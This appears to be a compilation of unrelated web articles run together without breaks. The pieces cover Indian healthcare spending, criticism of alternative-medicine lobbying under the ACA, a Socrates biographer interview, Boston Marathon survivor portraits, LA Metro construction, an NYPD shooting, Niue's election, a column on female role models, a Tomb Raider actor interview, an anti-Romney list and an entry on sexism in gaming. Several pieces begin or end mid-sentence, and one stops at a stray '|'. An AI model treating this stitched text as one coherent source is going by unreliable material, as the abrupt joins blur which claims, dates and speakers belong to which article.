For more neighborhood news, listen to DNAinfo Radio here:While government spending on healthcare has stagnated over the past decade, the private healthcare industry has boomed, shows data from various sources. This has meant that people continue to spend high amounts from their pockets as costs of medical care rise over time.
While a market-driven system economy expects the government to merely govern and leave the economy to the private sector, most market-oriented governments have treated public health as an exception to this rule, to varying degrees and with good reason. But the extent of private sector involvement continues to be a subject of debate across the world. For instance, the United States has witnessed a pitched battle over repealing parts of the Affordable Care Act or Obamacare and the Congress has failed to pass the new healthcare bill for want of a consensus.
In India, the private sector is becoming the preferred source of healthcare as government spending on health remains low, forcing people to seek private services. Now, the Niti Aayog, the government’s policy think tank, has suggested a model that provides for a greater role for private players in the India’s healthcare sector. The model has reignited the debate on the merits of involving the private sector in medical care.
Health and policy experts in India almost unanimously agree that the abysmally low investment by government has hit public health hard over past decades. Many of them advocate a role for the private sector, but the nature of that engagement is what divides the experts.
Some advocate an increase in public health spending each year, combined with a strictly regulated private sector that provides specific services or technology that the public sector does not offer at the moment. Others advocate handing over a much greater strategic control of the health systems to private players. This often comes coupled with the admission that government investments in health care are unlikely to rise soon. The Niti Aayog said as much two years ago, while building the case for the public-private partnership model that it suggested last month.
Scroll.in looked at how the investment map for health care has changed since 2010 and how it stacks up against other emerging economies. While several governments and researchers have talked about the need to spend at least 2.5% of the gross domestic product on health, the Indian government only spends about 1.4% of the GDP on the sector (in 2014). This have given a lot of room to private players to enter the healthcare space. Private health spending in India was more than double the government’s expenditure, at 3.3% of the GDP in 2014, according to a recent PricewaterhouseCoopers report.
A comparison how much of their GDP countries spend on healthcare.
This brings India’s total expenditure on health to 4.7% of the GDP, which is fairly short of what other countries spend. For instance, China spent 5.5% of the GDP and US spends a whopping 17% of their GDP on health while the world average remained around 10%, according to the data collected by PricewaterhouseCoopers.
Moreover, though health spending by the government is rising every year in absolute terms and on a per-capita basis, there is no significant increase in the percentage of money allocated to healthcare. For instance, per-capita spending on health by the government rose to Rs 973 in 2015 from Rs 621 in 2009 but government expenditure on health as percentage of GDP did not see a significant change in the five year period between 2009-2014, noted the Ministry of Health and Family Welfare’s national health profile published this year.
The health ministry finds that over the years, the Centre’s share in health spending has been declining steadily even as the share of states in total public health expenditure has been increasing. For 2017-’18, the Centre is expected to fund 28% of the total public expenditure on the health while the remaining 72% will comes from the states. India’s total public health spending outlay for the current financial year is expected to be Rs 1.80 lakh crore.
Crawling along
In 2012, the Congress-led United Progressive Alliance government promised to increase government expenditure on health to 2.5% of the GDP, but it remained at barely above 1% of the GDP at the end of its tenure in 2014. The Bharatiya Janata Party-led National Democratic Alliance government also promised a “universally accessible, affordable and effective” healthcare system in its manifesto for the 2014 Lok Sabha polls but over the three years that it has been in power, it has increased expenditure on health by a mere 0.2% of GDP, according to government data.
As percentage of GDP, public spending has not risen much over the last six years, government data suggests. In 2009, the government spent 1.12% of the GDP on health. For 2016-’17, it set aside 1.18% of the GDP for healthcare in the budgetary estimates. Meanwhile, states’ spending in the same period has risen from 0.7% of their GDP to 0.9% the health ministry claims.
This, experts suggested, is a measly amount when compared to the country’s needs. Scroll.in spoke to Ravi Duggal from advocacy body Centre for Enquiry into Health and Allied Themes, who said that the private expenditure and investment on health was bound to go up when the government was not spending enough money on building and maintaining facilities.
“When NITI Aayog itself is promoting private companies, the public facilities do not stand a chance to compete,” Duggal said. “The encroachment of private sector in healthcare has been happening for two decades but it has become quite rapid in the last few years as people are forced to pay for health at private healthcare providers instead of getting treated at public facilities.”
The recommendations of the fourteenth finance commission, released in 2015, also contributed to the increased burden on states to spend on building public healthcare. The commission had increased the tax devolution, or the share of Union taxes that go to the states, from 32% to 42%. This has, consequently, reduced the wiggle room for the Centre to spend on the social sector.
But states have gone different ways in deciding how they spend the additional money each year. Some have increased spending on health, but several have not.
Out-of-pocket
That public spending is not meeting people’s health care expenditure needs is evident from out-of-pocket-expenditure data compiled by the World Bank. In the year 2014-’15, 62.42% of health spending was borne by citizens. Ideally, when a country’s public healthcare system is improving, the out-of-pocket-expenditure as a percentage of total health expenditure should come down. In India’s case it only has reduced marginally, from 63.37% in 2010 to 62.4% in 2015.
Duggal said this clearly shows that health expenditure in the country, especially from the public sector, is inadequate. He argued that about 85% of the total out-of-pocket-expenditure is spent on private facilities.
On this count too, India performs poorly in comparison to several other countries. For instance, in China, out-of-pocket expenditure is as a percentage of total health expenditure is 32% in China, 11% in US and averages around 18.2% for the world, according to World Bank data for 2014.
Meanwhile, World Health Organisation data shows that Indian government’s per-capita spending on health measured in dollars and adjusted for purchasing power parity was $267 per capita per year, compared to $730 in China and $1318 in Brazil in 2014.
The National Health Policy Draft of 2015 estimated that nearly 6.3 crore people are faced with poverty every year because they do not have financial protection for their healthcare needs.
To afford these out-of-pocket expenses, many have to borrow or part with assets acquired over the years, data shows. For instance, 68% of rural India uses their savings to finance health expenses while one in four people in rural India have to borrow money to fund their hospital bills, according to data published by the National Sample Survey Organisation.
Private party
As the public sector has failed to fill the gap in terms of investment as well as access to affordable and quality healthcare, the private sector has stepped in and brought with it big money, funding large hospitals and chains of diagnostic centres, but with a sharp focus on profitability. This is also why most private investments in the healthcare sector are driven towards big cities where people have a higher spending ability rather than in smaller cities and rural areas where facilities are lacking.
According to foreign direct investment fact sheets published by the government, the healthcare sector attracted foreign direct investment of Rs 4,149 crore in the financial year that ended this March. This is a jump of almost 169% over the five years since the 2011-’12 financial year.
Analysts say that healthcare will continue to make money for private players because they offer differentiated services. An increase in incomes is also driving up people’s preference for treatment at private hospitals.
For instance, 58% of rural and 68% of urban respondents in 2010 preferred to access a private hospital than a public one, according to National Sample Survey Office data.
“Government healthcare budget per-capita is very deficient so private sector is bound to step in,” said Surajit Pal, assistant vice-president and analyst for healthcare and pharmaceuticals at the brokerage Prabhudas Liladher. “Most healthcare spending is out of pocket and that’s also due to the fact that government hospitals are sometimes not able to provide quality services or have too much crowd, forcing people to look elsewhere.”
Pal said that the hospital industry seems to be crowded in metros like Delhi and Mumbai even as there is a lot of scope for expansion in tier 2 and tier 3 cities.
“Their [private hospitals’] charges are pretty high, from diagnostics to medicines, so not everyone can afford it,” he said. “Also, private hospitals are sometimes not even interested in treating basic diseases like malaria because there are enough government hospitals doing it. They want to cater to a different market seeking specialised treatment.”
Even though private hospitals are yet to reach the district-level penetration of the government’s facilities in the country, they are making a lot of money in the areas they cater to.
According to rating agency ICRA’s analysis of five big hospital chains – Apollo, Fortis, Narayana Hrudayalaya, Max India Limited and Healthcare Global Enterprises Limited – revenues of these entities alone touched Rs 12,990 crore in the year ended March 2017. This is an increase of about 80% over the course of a five-year period starting March 2012. Meanwhile, their profits grew by Rs 770 crore during the same period to touch Rs 1,890 crore by this March. This is an increase of 68.75%. However, on an annual basis, their profits grew at about 11.03% while revenues grew by 12.59%. Pal said that the rise in profits seems to be a bit lower in actual numbers because most hospital chains such as Fortis are rapidly expanding by ploughing back their profits in setting up new facilities.
“The performance of the hospital industry has improved in FY [financial year] 2017, despite the events of demonetisation and the cap put on prices of stent,” the agency said in its report published in May. “Demand-supply gap for quality healthcare services in the country coupled with the dominance of private sector in healthcare industry continues to aid growth.”
The situation is unlikely to improve in the near future, especially if the Niti Aayog’s recommendations to increase private involvement in healthcare are accepted. The agreement allows private hospitals to bid for a 30-year leases to develop parts of district hospital buildings or land to set up 50- or 100-bed hospitals in towns. The Niti Aayog proposal provides for the private sector being subsidised by the government (by giving them free land and allowing them use existing infrastructure in district hospitals for free for three decades, a guaranteed flow of patients and the possibility of a direct one-time capital subsidy as well). Against this, the private sector is to provide its services from the government district hospitals at controlled rates. But global experience suggests that these rates eventually rise and the people end up paying directly from their pocket instead of public money going through the subsidy channel.
Corrections and clarifications: The story has been updated to add average annual growth rates for revenues and profits of private hospitals.Congress is on holiday this month, but the lobbyists are baiting their hooks, planning their strategies for how to get more money for themselves.
A growing lobby is Complementary and Alternative Medicine ( CAM ) providers, who have discovered a new opportunity to extract even more money from patients than they do already. They want the government to force insurance providers to pay for quack treatments, regardless of whether or not the treatments work. Any attempt to require evidence, they argue, amounts to discrimination.
Discrimination? Yes! We must not allow the government to exclude health care providers just because those providers don't cure anything. The CAMmers argument boils down to this: we have patients who want our services. The patients like us. In some cases, thanks to lobbying at the state level, we even have state-approved licenses. Therefore insurance companies must pay for our services.
Neat.
To be specific, the CAMmers are lobbying furiously to try to protect a special clause in the Affordable Care Act (Obamacare) that promises them a fertile new ground for making money from vulnerable patients.
The strategy is simple: require the government to fund any treatment that a patient wants, and dress this up as "patient choice." Then if insurance companies resist paying for ineffective treatments, accuse them of discriminating against the poor, hapless "integrative medicine" providers.
Thus through a diabolical twist of illogic, if Obamacare doesn't cover homeopathy, or naturopathy, or acupuncture, or magnetic energy healing, or any other so-called alternative therapy, it's discrimination.
The mind boggles.
Why is this an issue now? Because, unbeknownst to most people outside the Washington beltway, two pro-CAM lobbying groups slipped a clause into the ACA, section 2706, that attempts to force insurance providers to cover a wide range of quack practices. This section requires that insurers
"shall not discriminate with respect to participation under the plan or coverage against any health care provider who is acting within the scope of that provider's license or certification under applicable state law."
Sounds harmless, right? Well, no. This language was added to the ACA by Senator Tom Harkin, after heavy lobbying by the American Chiropractic Association and the Integrative Healthcare Policy Consortium. In fact, it is virtually certain that lobbyists wrote the section, and Harkin simply inserted it into the law. The IHPC is a lobbying group dedicated to obtaining more government money for homeopathy, naturopathy, chiropractic, acupuncture, and a raft of other ineffective medical practices.
Section 2706 opens the door to anyone who provides what they claim is health care - no matter how ridiculous the claim - to file a lawsuit claiming discrimination if an insurance company won't pay for their services. You could start offering dried bird poop for arthritis, call it "avian nature therapy," and if an insurer won't pay for it, you can sue.
Some in Congress have realized how truly bad an idea this is, and just a few weeks ago, a new bill was introduced to get rid of it, HR 2817. The American Medical Association supports the new bill. This has some CAM proponents alarmed.
Over at the Huffington Post, John Weeks, an outspoken apologist for questionable medical practices, offers the predictable, whining claim that this is all about "discrimination" by legitimate health care providers (the big, bad AMA) against poor, defenseless integrative medicine providers.
Make no mistake: this is all about greed. The CAM industry sees Obamacare as a chance to reap huge profits, by forcing insurance companies to pay for ineffective treatments, including many that are wildly implausible.
Homeopaths, naturopaths, acupuncturists, reiki practitioners, energy healers, and other CAM practitioners don't want to subject their methods to rigorous tests of effectiveness. They know that their methods have failed scientific scrutiny, time and time again. So now they want to force health care providers to pay for anything the patient wants. "Our patients believe us," they argue, "so pay us."
Forcing health care providers to pay for anything a patient wants, even if it doesn't work, is guaranteed to drive up costs, without any benefit to patients. Let's ditch this bogus "discrimination" clause in the ACA, and insist that all medical care be held to the same high, scientifically rigorous standards.Sure, Socrates was one of the founders of Western philosophy, but what was he really like? The 42-year-old British historian Bettany Hughes, whose previous biography dealt with Helen of Troy, brings him to life 25 centuries after his death in The Hemlock Cup: Socrates, Athens and the Search for the Good Life. She spoke with the magazine’s Megan Gambino.
Related Content Jane McGonigal on How Computer Games Make You Smarter
Why Socrates?
We think the way we do partly because Socrates thought the way he did. His basic idea—that the unexamined life is not worth living—is what it means to live in the modern world, to develop ideas and ask questions. Yet people imagine Socrates as this rather lofty graybeard dressed in a toga. He lived a very vigorous, quite gritty life.
How did you go about piecing together his life story?
I cannot write history unless I travel to the places where it happened. I spent a lot of time walking around the Eastern Mediterranean, going to all the shrines that Socrates would have worshiped at, going to all the battlefields that he fought on. Socrates was a great walker. They say he was a fiend for exercise. He was absolutely not shut away in some ivory tower somewhere.
What’s the most important thing to know about him?
He really challenged the status quo, and he was very brave in doing that. He was an activist in some ways, a philosophical activist.
What surprised you the most?
How much of his life he spent as a soldier. He would have seen appalling scenes in battle, and yet right until the end of his life he was still searching for the good. That was probably the most poignant thing for me.
How can we benefit from knowing more about him?
The value of wisdom. Socrates is fantastic at saying, “Look, I’m not saying that material comfort isn’t important. I’m not saying it’s not important to make beautiful statues and to have fine battleships and city walls. But none of this matters unless the people inside those city walls are happy.”
How did you end up feeling about him?
He could be infuriating. I’m sure if you went to a dinner party with him, he’d sit there and pick holes in your arguments. He would nail you. I’m sure he was quite an awkward person, but he was also electrifying. He was famously ugly. He didn’t fit in with what a beautiful, heroic Greek should be. He was the opposite of those things and yet everybody around him adored him.
What was the strangest thing you did to try to conjure up his world?
I ground up hemlock in a pestle and mortar. In Socrates’ day this was a new form of poison and capital punishment. I did that at home in my kitchen.
Is there a question you couldn’t get to the bottom of?
The key question is whether he was happy to die the way he did. Socrates was tried in a religious court. He was condemned for disregarding Athens’ gods. If you look at the way he speaks at his trial, according to Plato, there seems to be a moment when he realizes this isn’t just a game. I would love to know if he did die with equanimity, which is the picture we are given of him, or whether he thought he had a few more years of philosophizing in him and wished there hadn’t been that judgment for death.It has been nearly a year since the Boston Marathon bombing. So to reflect on the events of April 15, 2013, Boston Marathon survivors returned to the finish line with uplifting messages painted on their skin.
Photographer Robert X. Fogarty of Dear World, a message-on-skin photography project, prepared the portraits of the survivors.
Fogarty, who founded Dear World in New Orleans in 2009, came up with the idea to photograph Boston Marathon survivors last summer after he had a chance meeting with runner Dave Fortier. At the time, Fogarty noticed that Fortier had written "healing" across the side of his head. Admiring the statement, Fogarty decided to reach out to other survivors to see if they would be willing to share their own messages on their skin at the finish line.
While quite a few people declined Fogarty's offer, a handful of runners and bystanders decided to participate. For each portrait, which Fogarty shot in late February and early March, he asked his subject to choose something they'd like to say to the world.
Celeste Corcoran of Lowell, Mass., chose to write "Still Standing" on her legs. Fogarty photographed her sitting at the finish line with her two prosthetics placed next to her.
(Story continues below)
"This is the first time that I was back at the finish line," Corcoran said in a statement released by Dear World. "I had never been back and for me this was about reclaiming it. That finish line has been a negative space since the marathon. I chose to be there. I took back control."
For Fogarty, Corcoran's portrait carried a special significance.
"It was important to have someone like Celeste and her daughter return to the finish line," Fogarty told The Huffington Post, "and really project this message of strength and healing."
"We all mark time by things that happen in our lives. This is an important place and moment in her life," he said.Across Downtown, there's plenty of evidence that construction on Metro's Regional Connector—a project that will bring three new subway stations to the area and connect the Blue, Expo, and Gold lines—is in full swing.
But in Little Tokyo, which is where one of those new stations is being built, at First Street and Central Avenue, work is about to move off the street and underground, reports Metro's news blog The Source. It says, "construction at the easternmost end of the Connector’s route is now fully underground and behind barriers."
In order to reach this project benchmark, workers successfully installed piles and deck panels across the intersection of 1st and Alameda, adjacent to the Gold Line’s existing Little Tokyo/Arts District station. This progress allows crews to continue mining operations beneath the thoroughfare and make way for the tunnel boring machine and tunneling operations to begin in early 2017.
The Regional Connector hit the Little Tokyo milestone last week. A new video from Metro shows some recent images from the construction site.
Because the work is fully underground now, all lanes of traffic at Alameda and First are once again open. Metro has also added new "high-visibility" crosswalks at the intersection.
Lots of work is going on underground at the site in preparation for the huge tunneling machine to be brought in in early 2017.
The Regional Connector will also bring stations to Second and Broadway and Second and Hope, near the Disney Concert Hall. The project is expected to open in 2021.(CNN) The New York Police Department "failed" when an officer killed a 66-year-old mentally ill woman who attacked him with a baseball bat in a Bronx apartment, police Commissioner James O'Neill said Wednesday.
"We do have policies and procedures for handling emotionally disturbed people, and it looks like that some of those procedures weren't followed," O'Neill said during a speech to the Citizens Crime Commission in Manhattan. "What is clear in this one instance is we failed."
Mayor Bill de Blasio said deadly force should only be used in "dire situations."
"The shooting of Deborah Danner is tragic, and it never should have happened," de Blasio said Wednesday afternoon. "It's as simple as that."
To shoot or not to shoot?
To shoot or not to shoot? 02:42
To shoot or not to shoot?
Officers went to the apartment around 6 p.m. Tuesday after a neighbor called 911 about a woman acting in an irrational manner, Assistant Chief Larry W. Nikunen said. Police had visited the apartment on similar calls in the past, de Blasio said.
A sergeant entered the seventh-floor apartment and encountered the woman, who was armed with scissors, but he persuaded her to put them down, Nikunen said.
The woman then grabbed a baseball bat and attempted to hit the sergeant, Nikunen said. The officer fired two shots, striking the woman in the torso, he said. She died of her injuries after being taken to Jacobi Medical Center.
Officer on'modified assignment'
The officer was armed with a Taser, but it was not deployed, Nikunen said. Why the stun gun wasn't used will be part of the investigation by the New York police's Force Investigation Division, Nikunen said.
Danner was a 66-year-old black female who lived alone, Nikunen said.
The woman's cousin, Wallace Cooke Jr., told CNN affiliate WCBS-TV that Danner first showed signs of mental illness in college.
"She was a very smart, book-wise person, and she don't deserve to be dead," he said.
Police identified the officer as Sgt. Hugh Barry, who is white and an eight-year veteran.
Thomas Antonetti of the Office of the Deputy Commissioner of Public Information said the officer is on "modified assignment" that requires him to be stripped of his gun and badge pending the investigation.
Nikunen didn't have details on the earlier incidents when police went to Danner's apartment.
'Our first obligation is to preserve life'
At a news conference, de Blasio said Deborah Danner's sister told him she was waiting for police to bring Danner out of the apartment Tuesday night so she could be hospitalized.
Jennifer Danner wasn't worried because police had done so successfully in the past, de Blasio said.
"I was down the hall from my sister's apartment when I saw officers rush in and I heard three gunshots," she told WCBS.
De Blasio said the officer had received training on how to de-escalate a situation. The mayor said investigators will ask why the officer didn't use his stun gun or wait for officers trained to deal with mentally ill people.
"We need to know why the officer did not follow his training and follow those protocols," he said.
O'Neill also talked about police training.
"That's not how it's supposed to go," O'Neill said. "It's not how we train. Our first obligation is to preserve life, not to take a life when it can be avoided."
He said the department policy is to "isolate and contain."
"If you have somebody in a certain area, time is on our side," he said. "ESU (the emergency service unit) is dispatched to every emotionally disturbed person job, so we had time."
Last year New York police responded to about 150,000 calls involving emotionally disturbed people, he said.
De Blasio said police have responded to 128,781 such calls this year, almost always successfully.
We're determined to get to the bottom of what happened and won't rest until we do. https://t.co/jPT1U4fX1H — Bill de Blasio (@BilldeBlasio) October 19, 2016
Attorney general to review case
Bronx Borough President Ruben Diaz Jr. issued a statement calling the shooting "an outrage, especially given the New York Police Department's knowledge of this woman's history and the police officer's possession of a stun gun."
"While I certainly understand the hard work that our police officers undertake to keep the streets of our city safe every single day, I also know what excessive force looks like."
Diaz called on New York Attorney General Eric Schneiderman and Bronx District Attorney Darcel Clark to investigate.
A spokesman for the attorney general said his office was reviewing the fatal shooting.
New York City Public Advocate Letitia James tweeted, "Police-involved shooting of woman in Bronx is concerning. We need a swift, thorough, transparent (investigation)."
Police-involved shooting of woman in Bronx is concerning. We need a swift, thorough, transparent invesitigation. https://t.co/YIQzXyv7n9 — Tish James (@TishJames) October 19, 2016
A lack of training?
Eugene O'Donnell, professor of law and police studies at John Jay College of Criminal Justice, said these situations are "all too common and all too predictable."
But the shooting appeared to be legally justified, he said.
O'Donnell said that ideally, mentally unstable individuals should be protected and overseen to make sure they stay on their medications.
He said the New York Police Department has specially trained officers for these types of incidents, but the officers who initially respond usually don't have that training.
"Anyone who says this was a Taser situation doesn't understand what the police do," he said. "A baseball bat can cause death or serious physical injury, and a Taser is not appropriate in a deadly force situation."
Jay Ruderman, president of the Ruderman Family Foundation, which advocates for people with disabilities, said about half of recent high-profile police killings involved people with disabilities. Danner's death highlights the need for better training by police, he said.Provisional election results in Niue indicate a boost to women's representation in Parliament.
Photo: RNZ/ Sally Round
At least four women have won a place in the 20-seat legislature after the country went to the polls at the weekend.
A fifth woman, Maureen Melekitama, is in a tie for one of the 14 village seats.
There were two women in the Fono Ekepule during the last parliamentary term.
Niue's former High Commissioner to New Zealand, O'Love Jacobsen, gained the most common roll votes, and is one of two women to have gained one of the six open seats.
The other is Joan Viliamu.
Vaaiga Tukuitonga, who has been in Parliament for 18 years, retained her Alofi North seat.
Mona Ainuu is among only four newcomers to the fono, winning the village seat of Tuapa.
Michael Jackson took the Hakupu seat from Young Vivian.
Veteran opposition politician Terry Coe took the second highest number of votes after Ms Jacobsen, followed by the long-serving premier Sir Toke Talagi.
Ms Jacobsen and Sir Toke have said they would try for election to the premiership which is to be decided by the members of the fono.
One of the two tying contenders' names will be picked out of a hat to decide who will represent the village of Mutalau.For a couple of weeks recently, the ritual in our house was to switch on the TV at 7.30am, whereupon the girls and I would watch the previous day's Tour highlights. This year, there was much to like, including Cadel Evans's uplifting victory. Still, my five-year-old had a question. ''Can girls ride in the race?'' she asked one morning. Hmmm. Evans is an exceptional role model; wouldn't it be great to have a female equivalent? Perhaps it won't be long. A few days before Evans completed his victory lap of the Champs-Elysees, a young Aussie named Ellyse Perry scored a remarkable goal in the quarter-finals of the Women's World Cup of football against Sweden. At just 20, Perry is a dual international. When she isn't kicking goals with the Matildas, Perry plays for the Australian women's cricket team. Meanwhile, she's also forging a media career. One morning, however, after a thrilling 15 minutes of Tour highlights, I flicked over to Rage on ABC TV, where, at 8am, my daughters and I were ambushed by a phalanx of Elizabeth Halseys.
In a rap video, some wannabe wordsmith was gesticulating harmlessly, before the scene switched to a room full of near-naked women dry-humping the camera. I fumbled for the remote. Five minutes later, I flicked back to Rage. Another rap video, another room full of barely-clad women gyrating like dancers in search of a pole. Sigh. Click. A few minutes later, I tried for a third time. Yet again the men were clothed and down with it; yet again the women were unclothed and up for it. The discrepancy in the depiction of genders was startling. The men were singing, rapping, doing; the women were titillating, baring, flaunting. The men were subjects; the women were objects. This is the grammar of our culture. He does; she is done. By this social construct, women have nothing but their looks, which are useful primarily for attracting a mate. Granted, there has been a shift in the paradigm, as revealed by Elizabeth Halsey and the rap bimbettes. In the past, women were expected to look pretty and await attention. Now, women are allowed to be predatory. Our culture needs more female protagonists, but not like this. We need fewer rap pretties gyrating like porn stars, fewer Elizabeth Halseys exploiting their appearance. Predatory as they are, these women are no more emancipated than '50s pin-up girls. Their identity is defined entirely by their looks.
Which is not to say that it is wrong for women to want to look good. Male or female, the human body needn't be hidden away behind sackcloth. The problem stems from the avalanche of objectification, the stifling weight of material that portrays women as valuable only for their looks. Take a glance at this week's glossy magazine covers. ''Gwyn and Katie: Sexy or Scary?'' asks Famous beside shots of stars in swimsuits. ''Katie Holmes Wasting Away?'' wonders Who. ''Bikini Special'', trumpets OK!, ''We love our new bodies''. Last week cosmetics behemoth L'Oreal made headlines when ads featuring Julia Roberts and Christy Turlington were banned in Britain for being too airbrushed. Further proof of the paramount importance of female looks - and also the ever-receding horizon of the unattainable ideal. Even these icons were not considered beautiful enough, and so needed a technological touch-up. It needn't be this way. In recent decades, French thinkers including Luce Irigaray have tried to elaborate a feminine subjectivity that can co-exist alongside masculine subjectivity. Irigaray proposes a theory of difference, in which the feminine subject and male subject are equal, but distinct. On similar lines, Irigaray's compatriot Helene Cixous has raised the notion of jouissance, or female pleasure. For Cixous, female sexuality is vital and is linked to agency. Elizabeth Halsey's exploitative, destructive promiscuity doesn't fit the bill.
Bad Teacher has already taken $4 million in Australia. Its gold-digging protagonist would be delighted. And the worst of it is that ultimately Elizabeth gets away with being cruel and self-serving. Indeed, she positively prospers. Taken in isolation, she is just a tasteless curiosity; but in the context of all the rap videos and magazine spreads, she is yet another soldier in an army of bad role models. As my daughters grow up, I hope the Ellyse Perrys begin to |
it helps me to stay in the accent. I don’t think he even knew I was British. He was tying a mic to me, because we had to hide it sometimes, and he was tying it around the side of my leg. He said, “This is gonna' feel really weird. I call this the Lara Croft Tomb Raider way of tying things.” And I said, “Oh, you like that game?” and he was like, “Oh yeah, I’m a huge fan I love the game, it’s awesome. Do you know the game? Do you play it?” and I was like, “Well, actually, I’m Lara Croft.” So he was like, “No you’re not.” And then he tested me on certain stuff to do with the game and eventually he was convinced. Like, “What island did she shipwreck on?” And I’m like, “Yamatai.” That was really fun.
A strange contractual agreement of Daniel Craig playing James Bond is he’s not allowed to wear suits in other films. Are there any kind of weird, comparable stipulations for being Lara Croft?
I don’t know if it stands any longer, because it’s kinda something I joked about with [creative franchise director Noah Hughes], and it seemed more to happen in the first game. I know that a couple years ago I had joked or something about being in the Lara Croft outfit for Halloween, and I was told by someone that I wasn’t allowed to do that, and I wasn’t allowed to take pictures in the Lara Croft outfit, but I’m not sure if that’s banned anymore. I remember being kind of depressed because she looks so awesome that I would have loved to dress up as her.
There was even a Grey’s Anatomy episode where my character dresses up for Halloween and a joke was made about me dressing up as Lara Croft, and how we would need to get the okay. I don’t know if that would ever, ever happen, but there was a while where I was strongly advised not to be in any Tomb Raider outfits.
Some new details recently surfaced about plans for a new Tomb Raider film, but Lara has not been cast yet. Would you want to play Lara Croft in a Tomb Raider movie?
That is something that GK Films and MGM is doing based on the original game. That’s already out there in the media and it’s going ahead at some point. I believe it’s still in such an early stage of development, but yeah, absolutely I’d love to. This is a character I’ve lived with for so many years now, longer than anything else I’ve very played. To me, she actually feels like a part of me and I almost feel like I own her a little bit in a weird way. It would be hard to see someone else play her.
For Luddington's opinion on the worst kind of death to perform and the weird fan requests she receives, head to page three.
Are you sick of pretending to be cold?
What you don’t realize is when you’re shivering and taking in a sharp breath, you start to hyperventilate. There will be times when I have to take a few minutes between scenes because I start to get really dizzy. I don’t mind doing it, but it does make me sometimes feel like I could pass out.
Are there any reactions you’re tired of doing?
I don’t want to have to drown, ever. Capturing that is a bizarre process and it’s really difficult. Sometimes, the only way to do it, especially in a video booth, is to have a bottle of water and force yourself to choke on it. It’s really bizarre to do. I would love it if she never drowned ever again. Yelling or screaming? After a few hours I always say can we please leave it to the end? Because I will lose my voice. But yeah, probably drowning is the most difficult.
Do you have a favorite death to enact? Is it fun pretending to be eaten by wolves and have your face ripped off by a bear?
Yeah, I think the more gruesome it is the more fun it is to play in a way. Because sometimes what we come up with is just so horrifying, and it’s not like she’s just getting stabbed – she falls, then a burn, and then this and that. It’s so completely overwhelming to even think of someone dying that way, and it’s fun. It always keeps things really fresh and new, because they’re always thinking of a new way she could die. Like, “Oh I never thought of that. Let’s do that. That’s horrible.”
How does that work in the recording studio? Do they just put you on a microphone and say, "In this scene you’re flying down a river and a branch stabs you through the neck”?
That’s exactly how it happens. Sometimes they ask, “Can we redo this in motion capture?” because to physicalize it, it makes it a lot easier. But sometimes you have to get really crazy, like with drowning. Sometimes you just have to use the elements around you to help with those moments that you have never experienced before in your life. It’s hard to call on actual memory.
Are there any quotes from the game fans frequently request?
Do you know what guys make me do a lot? They say, “Hey can you reenact this scene where Alex dies?" and I always end up thinking like, “Okay, what happened in that scene?” And then I realize they just want a kiss on their cheek. That’s what happens in that scene. It’s a sneaky way for people to get a kiss. Other than that, sometimes they use what was in the trailer, which is “A famous explorer once said.” They’re likely to do those lines. But, really the sneaky kiss is what happens a lot.
For more on Rise of the Tomb Raider, click the banner below for all of our coverage.Mitt Romney was governor of Massachusetts from 2002 through 2006. It is the only elected or appointed political office he has ever held. From that single four year stint as governor, the people of Massachusetts came to know him all too well. This is what they think :
1. OBAMA HAS HUGE LEAD IN THE STATE: Romney Trails Obama by 28% in Massachusetts.
2. LOWEST APPROVAL IN STATE HISTORY: Romney left office with a 34% approval rating, the lowest in state history.
He was elected by a 5% margin and had a 66% approval rating after he was elected. His unpopularity wasn’t because he was a Republican. Massachusetts had elected three Republicans Governors just prior to Romney. All of them left office with high approval ratings. In fact, William Weld was elected twice in 1990 and 1994 and left office after two terms with a 70% approval rating, the highest in state history.
Why did the voters sour on Romney so quickly? It might have something to do with his record:
3. JOB CREATION FELL. Job creation fell from 37th to 47th during Romney’s term.
1998-2002 = 37th
2002-2006 = 47th
A drop of 10 places in four years.
During his 4 year term, Romney only increased the number of jobs by 1% compared to 5% for the nation
4. THE NUMBER OF PEOPLE WORKING DECLINED. Between 2002-2006, the number of people working in Mass. declined by 8,500, the only state to lose jobs. The rest of the country added 8 million jobs.
5. LOST MANUFACTURING JOBS. Romney lost 14% of the manufacturing jobs in the state, including 40,000 high paying manufacturing jobs.
6. PEOPLE LEFT THE STATE TO FIND WORK ELSEWHERE. A net 222,000 people moved out of Mass. to seek employment else where, a loss of 3.5% of the work force.
Romney brags that unemployment dropped, but that’s because the unemployed had moved out of the state.
7. WAGES DROPPED. Between 2002-2004, wages dropped 5%. Between 2002-2006, the median wage fell by $10 or 2%.
8. SHIPPED STATE JOBS OVERSEAS. Romney vetoed legislation that would have prohibited sending State jobs overseas and bared state contractors from sending jobs overseas. He even sent State Call Center Jobs overseas.
9. INCREASED DEBT. Romney had the largest increase in debt of any Governor in the country, increasing it by more than $2.6 billion. He even borrowed money to pay for ordinary operating costs such as highway repair and maintenence.
10. INCREASED GOVERNMENT COST FALL ON MIDDLE CLASS. Romney cuts taxes for the wealthy, while increasing hundreds of fees that fall mainly on the middle class.
Links below:
Links:
1 – http://www.suffolk.edu/images/content/FINAL_MA_Statewide_Marginals_May_22_2012_FINAL.pdf
2 – http://www.surveyusa.com/client/PollTrack.aspx?g=454ada23-20dc-41f0-9c0c-a8a2a45d653c
3 – http://www.marketwatch.com/story/mitt-romney-tries-to-play-the-jobs-card-2010-02-23?pagenumber=1
3 – http://research.stlouisfed.org/fred2/graph/?g=7H4
4,5,6,7,8,9 10 – http://www.boston.com/news/globe/editorial_opinion/oped/articles/2007/07/29/romneys_economic_record/
AdvertisementsSexism in video gaming is prejudiced behavior or discrimination based on sex or gender as experienced by people who play and create video games, primarily women. This may manifest as sexual harassment or in the way genders are represented in games, such as when characters are presented according to gender-related tropes and stereotypes.
The demographics of video game culture have changed since the 1980s and 90s, when video games were perceived as something of interest mainly to young men. Women make up about half of all game players as of the 2010s.[1] This change, as well as publicized incidents of harassment such as the Gamergate controversy in 2014, have contributed to industry professionals and media increasingly paying attention to issues related to sexism in video gaming.
Harassment [ edit ]
Form [ edit ]
Harassment can involve sexist insults or comments, death or rape threats, demanding sexual favors in exchange for virtual or real money, or criticism of the presence of women and their interests.[2] In some cases, female players are also stalked, whether online or offline.[3]
